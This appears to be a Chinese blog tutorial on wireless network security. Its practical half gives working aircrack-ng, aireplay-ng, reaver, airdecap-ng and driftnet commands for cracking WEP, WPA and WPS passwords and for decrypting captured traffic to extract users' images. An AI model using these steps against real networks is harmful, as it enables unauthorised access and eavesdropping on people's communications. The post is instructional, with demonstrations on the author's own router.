美文网首页
0#4 无线网络

0#4 无线网络

作者: dogo_L1L | 来源:发表于2018-11-16 18:04 被阅读0次

    0x00前言

    谈到无线网络,第一个想到的应该是 wifi,或者是 IEEE 802.11。这个协议。当然无线网络不只是这两个,单是 IEEE 802下就有像 ZigBee 等其他的无线协议。
    这次进行扩展的也只是 IEEE 802.11 这个协议。
    使用的工具是 aircrack-ng
    安装方式

    sudo apt-get install aircrack-ng
    

    作案工具:
    TL-WN722N 无线网卡(必须)
    15dB无线网卡信号增强天线(可选)
    优点:
    1.能完成基本全部的攻击方式
    缺点:
    1.使用USB2.0,如果用来上网的话,网速很慢。
    2.只支持2.4G网络
    USB插入后确认是否使用
    之后所有的命令都是在root下执行的

    airmon-ng
    
    图片.png

    0x01正题

    无线网络使网络连接更加方便,假想一下,如果机场提供的网络服务是有线网络。((靠#`‘)你踩到我的线了)
    所以无线网络确实非常方便,
    1.无线网络成为互联网越来越重要的入口。
    但是也出现了一些问题。
    2.无线网络使内网的边界模糊化。
    比如你在家中,可能也能看见隔壁邻居的WIFI账号,虽然你可能没有密码。。。。。。
    3.安全实施缺失而且困难。因为无线的安全性是致命的问题,现在技术只是利用了加密的算法,使窃听者获得的都是加密后的内容。

    但是反过来想一下,我再用无线网卡进行抓包的时候,根本没有看见过IEEE 802.11 的协议,说明无线网卡已经将该协议解密了。那想想无线网卡利用说明内容进行解密的呢?比如想 WIFI的密码,一些环境的条件,等等。而我们在窃听的过程中除了 WIFI 密码其他都是随手可得。那是不是我们有了 WIFI 密码,我们就能够解密 IEEE 802.11 的信息了呢?
    那就进入下面的内容,开始讨论:
    1.IEEE 802.11 协议的内容
    2.WEP 加密的方式
    3.WPA 加密的方式
    4.WPS 为什么不安全

    1#1 IEEE 802.11 协议的内容

    IEEE 802.11 中含有很多的协议,如下图


    IEEE 802.11.png

    其中最常用的是 802.11a/b/n/g。
    在IEEE802.11 中最常用的是 2.4G 的频率,但是共同利用2.4G频率的协议还有很多,比如 微波炉,蓝牙,GPS,等等,于是含有很多的干扰源,所以IEEE 802.11 在发展中,将5G频率也纳入了使用的范围,这也就是为什么买路由器的时候会有2/5G的内容。但是限于我的无线网卡只支持2.4G,所以一下的演示都是使用2.4G网络。
    在2.4G频率中如果两个AP(Access Point,无线访问节点)之间的距离很近,就会产生相互干扰,比如说学校的寝室的WIFI,其实每个房间都有一个WIFI的信号源,但是没有相互干扰,其中一个原因是不同的AP工作在不同的信道上。

    1#1.1 信道

    第一点,IEEE802.11有不同的信道。


    信道.png

    不同的国家的信道数可能也会不同,类似经历就是玩树莓派的时候,会让你选择WIFI的国家。
    另外一个特点,就是信道的重叠,但是13个信道中一定为会3个信道完全不重叠。
    然后信道的概念有了,那IEEE802.11的通讯方式呢?

    1#1.2 wireshark

    那我们开始使用神器 wireshark 进行抓包分析。

    如果没有安装过:
    apt-get install wireshark
    

    启动 wireshark 前,我们要将网卡置入 监听模式。你会进入断网状态。
    其中wlx24fd523f02c2为我的网卡名

    停掉网络服务
    service network-manager stop
    将监听网卡禁用
    ifconfig wlx24fd523f02c2 down
    杀死所有妨碍的进程(多进行几次,确保都杀死)
    airmon-ng check kill
    将网卡置入监听
    airmon-ng start wlx24fd523f02c2
    查看所有的网卡信息(找出带有mon)
    ifconfig -a
    一般情况为 wlan0mon
    启用监听网卡
    ifconfig wlan0mon up
    
    图片.png

    这时候我们可以使用wireshark进行抓包使用wlan0mon端口。


    图片.png

    内容最多的也就是 Beacon 帧。
    Beacon就是广播帧告诉附近的STA,附近有本AP。
    但是似乎对于新手不是很友好,啥都看不懂。
    这里先跳过,具体内容,会在 WireShark 专题进行分析。

    1#2 WEP 和WPA 连接过程

    详细情况可以参考
    WEP和WPA 的连接过程都是相似的,只是加密的方法不同。
    连接过程分为4步。2步用来关联,2步用来认证。

    连接过程.png
    现在我们来考虑一件事情,如果STA与AP是明文传输密码,那我们是不是仅仅用监听的方式就能获取密码了,那毫无安全可言。所以STA与AP不是明文传输密码的,而是用一个challenge,AP 给STA 一个challenge,STA把challenge加密传输给AP,AP知道密码等信息,所以容易验证challenge与密文是否对应。所以直接监听密码的事情是不可能的。而且看上去 chanllenge 和密文的方式,似乎也是无懈可击。
    我们来看看对应的弱点吧。

    1#3 WEP 和 WPA 加密的方式

    WEP为什么不安全,这又是一个难题:


    图片.png

    网上找到了一个标准的回答,IV容易出现重用,一个安全工程师发现,IV(初始向量)大约每224个会重复出现,主要问题就是伪随机数不够随机。所以利用这个问题,我们收集足够多的相同IV以及对应的密文,分析出共享密码。
    大约有如下规律:
    64位key需要20万个challenge和密文对。
    128位key需要大约150万个challenge和密文对。
    因为WEP的问题,所以时隔8年出现了WAP加密方式,WAP加密分为WAP1和WAP2。WAP是目前比较安全的加密方式。WAP1和WAP2同样安全,只是相对而言,WPA2比WPA1更加难破解。
    WAP1就是为了兼容WEP。
    有如下特点:
    1.与WEP一样都采用逐包加密
    2.128位key,48位IV
    3.有帧计数器避免重放工具
    4.使用TKIP(动态改变密钥)
    5.使用RC4
    WPA2就不兼容WEP的加密方式。比WPA1更加安全,但是也只是WPA1将部分加密单元进行修改
    1.CCMP替代TKIP
    2.AES替代R4C
    但是所有的加密方式都会出现弱密码,也就是我们可以进行暴力破解。提到这个的原因之一是我的路由器没有WEP模式,只有WAP模式,所以无法演示WEP。

    1#4 WPS 为什么不安全

    WPS是为了像我这种记不住密码的人设计的,路由器上会有一个类似的按钮,旁边写着WPS,只要按一下按钮,连接的设备也按一下类似的按钮,就能进行通讯。看着从传统的软件的连接方式转为了硬件的连接方式,似乎只有管理员本人确认过才能连接,但是却使得本来安全的 WPA 加密方式变得不安全。(并且WPS这个是从硬件上进行设计的,所以根本关不掉)
    我们来思考一下关于WPS,如果一台STA已经通过WPS进行连接,那下次重新连接的时候是否需要再次WPS确认呢?
    所以AP只关心发送WPS,并不关心是不是对方怎么获得的WPS密钥。
    但是很不幸,我的路由器不支持WPS

    0x02 实战

    实战中使用的是 aircrack-ng 这个套件。使用之前记得

    service network-manage stop
    

    2#1 airmon-ng

    aircrack-ng 的第一部分就是 airmon-ng

    查看帮助
    airmon-ng -h
    usage: airmon-ng <start|stop|check> <interface> [channel or frequency]
    使用之前要把干扰进程kill(多执行几次)
    airmon-ng check kill
    将网卡置入monitor模式(9表示9号信道,wlan0表示网卡名)
    airmon-ng start wlan0 9
    停止monitor模式(wlan0mon表示处于monitor的网卡名)
    airmon-ng stop wlan0mon
    检查所处于的信道
    iwlist wlan0mon channel
    
    信道.png

    很明显 airmon-ng 只要与将网卡置入monitor模式有关。

    2#2 airodump-ng

    airodump-ng 与我们的抓包相关,也是最为重要的一环

    查看帮助
    airodump-ng --help
    usage: airodump-ng <options> <interface>[,<interface>,...]
    简单的使用:
    airodump-ng wlan0mon
    一些特别的指定
    1.指定信道(11)
    -c 11
    2.指定AP的MAC地址(C8:D7:19:95:73:96)
    --bssid C8:D7:19:95:73:96
    3.指定只抓取IV和challenge相关信息
    --ivs
    4.保存抓包文件
    -w test1.cap
    

    一般首先进行粗略的查找,然后再限定内容的查找

    图片.png

    如果没有看见抓到握手协议:
    1.指定工作信道(-c 9)
    2.用手机进行连接


    然后我们详细解析AP信息栏目的内容:
    BSSID:AP的MAC地址
    PWR:信号强度,(-50dB以上属于强信号)
    RXQ:最近10s成功接受的百分比
    Beacons:该帧的数量
    #Data:数据帧的数量
    #/s:最近10s内每秒的数量
    CH:AP工作的信道
    MB:AP支持的最大速度
    ENC:无线加密技术
    CIPHER:加密的套件CCMP指WAP2
    AUTH:PSK个人级,MGT企业级别
    ESSID:AP的名字


    暂时没有WEP的AP。
    首先我们要捕捉到握手(handshark)信息

    airodump-ng wlan0mon -c 9 --bssid D4:EE:07:66:81:76 -w wep.cap
    
    图片.png

    查看生成了什么:


    图片.png

    如果是正常的 WEP ,会产生一个 xor 文件,但是我这里没有产生

    WEP的弱点是IV值不够随机,我们就刺激AP产生大量的IV值内容,(当然,你可以等这120个IV信号。)
    刺激产生IV值我们利用aireplay-ng

    2#3 aireplay-ng

    aireplay-ng按字面的显示是重放攻击的工具。
    看看命令:

    查看帮助
    aireplay-ng --help
      攻击的模式 (numbers can still be used):
          --deauth(解除关联) count : deauthenticate 1 or all stations (-0)
          --fakeauth(伪装关联)delay : fake authentication with AP (-1)
          --interactive       : interactive frame selection (-2)
          --arpreplay(ARP,生成IV的来源) : standard ARP-request replay (-3)
          --chopchop          : decrypt/chopchop WEP packet (-4)
          --fragment          : generates valid keystream   (-5)
          --caffe-latte       : query a client for new IVs  (-6)
          --cfrag             : fragments against a client  (-7)
          --migmode           : attacks WPA migration mode  (-8)
          --test(注入攻击测试) : tests injection and quality (-9)
    

    最常用的就是我标记的4个:
    1.注入测试(-9):

    基本测试
    aireplay-ng -9 wlan0mon
    card to card 测试(需要两张无线网卡)
    aireplay-ng -9 -i wlan0mon wlan1mon
    
    图片.png

    如果显示失败的请多尝试几次。
    2.伪装关联攻击(-1)
    在WEP攻击的时候,无线网卡触发大量的ARP请求。只有关联后才能发起。

    aireplay-ng -1 60 -e lee_gee -y wep.****.xor -a APMAC -h MYMAC wlan0mon
    

    参数解释:
    我们利用自己获取的抓包文件,生成有一个xor文件,利用这个文件进行关联。
    -1 60:表示使用1号攻击模式,伪装关联攻击,并且每60秒重新关联一次。
    -e lee_gee:表示对方AP的ESSID名称
    -y ****.xor:表示我们利用哪种xor文件进行伪装关联
    -a APMAC:对方AP的MAC地址
    -h MYMAC:自己的MAC地址

    3.执行ARP重放攻击(-3)
    ARP为重要的IV值的来源,所以我们需要听到ARP请求,并把该请求不停的重放。能产生大量的IV值。

    aireplay-ng -3 -b APMAC -h 合法客户端MAC wlan0mon
    -b:AP的MAC地址
    -h:合法客户端的MAC地址
    

    4.双边解除关联攻击(-0)
    这一步是触发ARP请求产生
    因为真正的IV值与challenge以及加密方式是对方的STA产生的,如果对方因为信号问题被打断了,那STA还会尝试继续连接AP。并且其中含有ARP请求。这才是我们要重放的信号。

    aireplay-ng -0 1 -a APMAC -c clientSTAMAC wlan0mon
    -a:AP的MAC地址
    -c:客户端地址
    

    当然为了能记录全部的过程,我们还要用airodump-ng 进行记录,当data 开始大幅度的上升的时候,说明我们成功了。
    接下来就到了最后一部,密码破解:aircrack-ng

    2#4 aircrack-ng

    aircrack-ng名字上来看crack破解。与破解相关
    没啥难度,直接把上面含有大量iv的cap包进行破解。

    aircrack-ng web-01.cap
    

    基本上所有WEP破解的内容已经结束了。
    整理一下过程:
    1.启动monitor模式
    2.启动抓包,并保存抓包
    3.Deauthentiacation:抓取xor文件
    4.利用xor文件与AP关联
    5.执行ARP重放
    6.再次Deauthentiacation,使client产生ARP请求
    7.收集足够多的IV值进行算法破解


    有了这些基础之后,我们开始破解WPA攻击。

    2#5 WPA暴力破解

    先声明一点,WPA的攻击并不是一定能成功的,WPA攻击基本上是一种毫无目的的攻击,成功率单纯的基于时间和密码字典的质量。
    很不幸,我找了很多的密码字典,然后发现我的wifi密码没有包含在里面。于是只能手动的在末尾添加一下。
    查看密码是否包含在密码字典中的方法:

    cat 密码字典.txt|grep 'wifi密码'
    

    在末尾加入wifi密码

    echo 'wifi密码' >> 密码字典.txt
    

    暴力破解就没有没有WEP怎么多事情了,但是有个好处,只要把关键信息抓取下来,然后就可能回到家破解了,或者分组破解,这也算是个优点吧。
    过程如下:
    1.启动monitor

    停掉网络服务
    service network-manager stop
    将监听网卡禁用
    ifconfig wlx24fd523f02c2 down
    杀死所有妨碍的进程(多进行几次,确保都杀死)
    airmon-ng check kill
    将网卡置入监听
    airmon-ng start wlx24fd523f02c2
    查看所有的网卡信息(找出带有mon)
    ifconfig -a
    一般情况为 wlan0mon
    启用监听网卡
    ifconfig wlan0mon up
    

    2.开始抓包并保存

    airodump-ng -c 9 -bssid C8:D7:19:95:73:96 -w test1.cap wlan0mon
    

    3.Deauthentication攻击获取4步握手协议

    另外开一个终端
    aireplay-ng -0 1 -a APMAC -c clientSTAMAC wlan0mon
    

    直到airodump界面出现握手信息为止
    4.使用字典暴力破解

    aircrack-ng -w 字典路径 ***.cap
    
    cost_time.png

    可见350万个密码中居然都没有我的密码,成功率基本是依靠计算能力。非常不稳定。

    2#6 WPS破解

    WPS是WIFI联盟2006年开发的一项技术。
    1.通过PIN码来简化无线接入的操作无需记住密码。
    2.路由器和网卡各按一个按钮就能加入无线网络,物理性身份识别
    3.PIN码是分为前后各4位的2段共8位数字。
    WPS同样也是暴力破解,但是WPS的暴力破解是有穷的,也就是100,000,000种可能。但是PIN并不是单独生成PSK密钥,还要加上环境参数。
    安全漏洞:
    1.接入方可以通过路由器的返回信息判断前4位是否正确,所以可以分为两部分进行尝试,也就是20,000次就能破解PIN码
    2.但是实际更加惨,后4位中最后一位是校验码,所以一共只有11,000次可能性。
    同样对比8位的PSK((pre-shared key))需要218,340,105,584,896次尝试
    所以密码破解的时间更加短了,如果没有锁定机制的情况下,1小时之内就能完成破解,但是不同的厂家有不同的锁定机制,所以每分钟能尝试的次数变得有限。但是一般(10-15)小时之内就能破解。
    使用工具 reaver
    如果没有下载

    apt-get install reaver
    

    使用说明
    启动监听模式发现WPS的AP

    方法1:
    wash -C -i wlan0mon
    方法2:
    airodump wlan0mon --wps
    

    由于自己的路由器不是硬件上支持WPS,所以无法演示后续内容。
    使用wash,速度比较慢,不是非常推荐,但是会把看到过的WPS都记录下来


    some_wps.png

    使用airodump,发现的速度比较快,但是离开了相关AP的位置,显示就会消失。

    图片.png

    还是很容易发现生活中使用WPS的用户都很多的。

    破解方式:

    reaver -i wlan0mon -b APMAC -vv -c 信道 -k 1
    -vv:显示详细信息
    -c:信道
    -k:针对一些芯片有问题的厂家
    

    2#7 已知wifi密码,破解cap包的内容

    既然我们都把wifi密码破解了,那么不是就有了所有解码IEEE802.11的方式了吗?
    确实是这样的。甚至我们可以直接利用wifi密码进行收集与AP通讯的用户所发送的密码和图片。
    1.解码IEEE802.11的cap抓包文件。
    为解密之前,用wireshark打开是这样的:

    802.11协议.png

    通过解码:
    使用airdecap:解码

    airdecap-ng -e lee_gee -b APMAC -p 密码 ****.cap
    
    解码之后.png

    成功显示出正常能看懂的协议了。
    但是或许你连这些协议也看不懂。却企图从中获取一些内容。
    很幸运确实有这样的工具,使用网络水龙头(at),类似linux中的管道符。
    创建网络水龙头:

    创建网络水龙头
    airtun-ng -a APMAC -p 密码 -e essid wlan0mon
      created tap interface at0
      WPA encryption specified. Sending and receiving frames through wlan0mon.
      FromDS bit set in all frames.
    

    用工具接上水龙头进行过滤:

    driftnet -i at0
    
    capture_pic.png

    图中内容就是我的QQ中QQ群里发送的图片,被过滤出来了。

    0x03 总结

    内容还是很粗糙的,比如像WEP/WAP的具体加密方式没有详细的讨论,但是从破解(decap)的角度开看,也大概能看出一些内容来。

    相关文章

      网友评论

          本文标题:0#4 无线网络

          本文链接:https://www.haomeiwen.com/subject/izoufqtx.html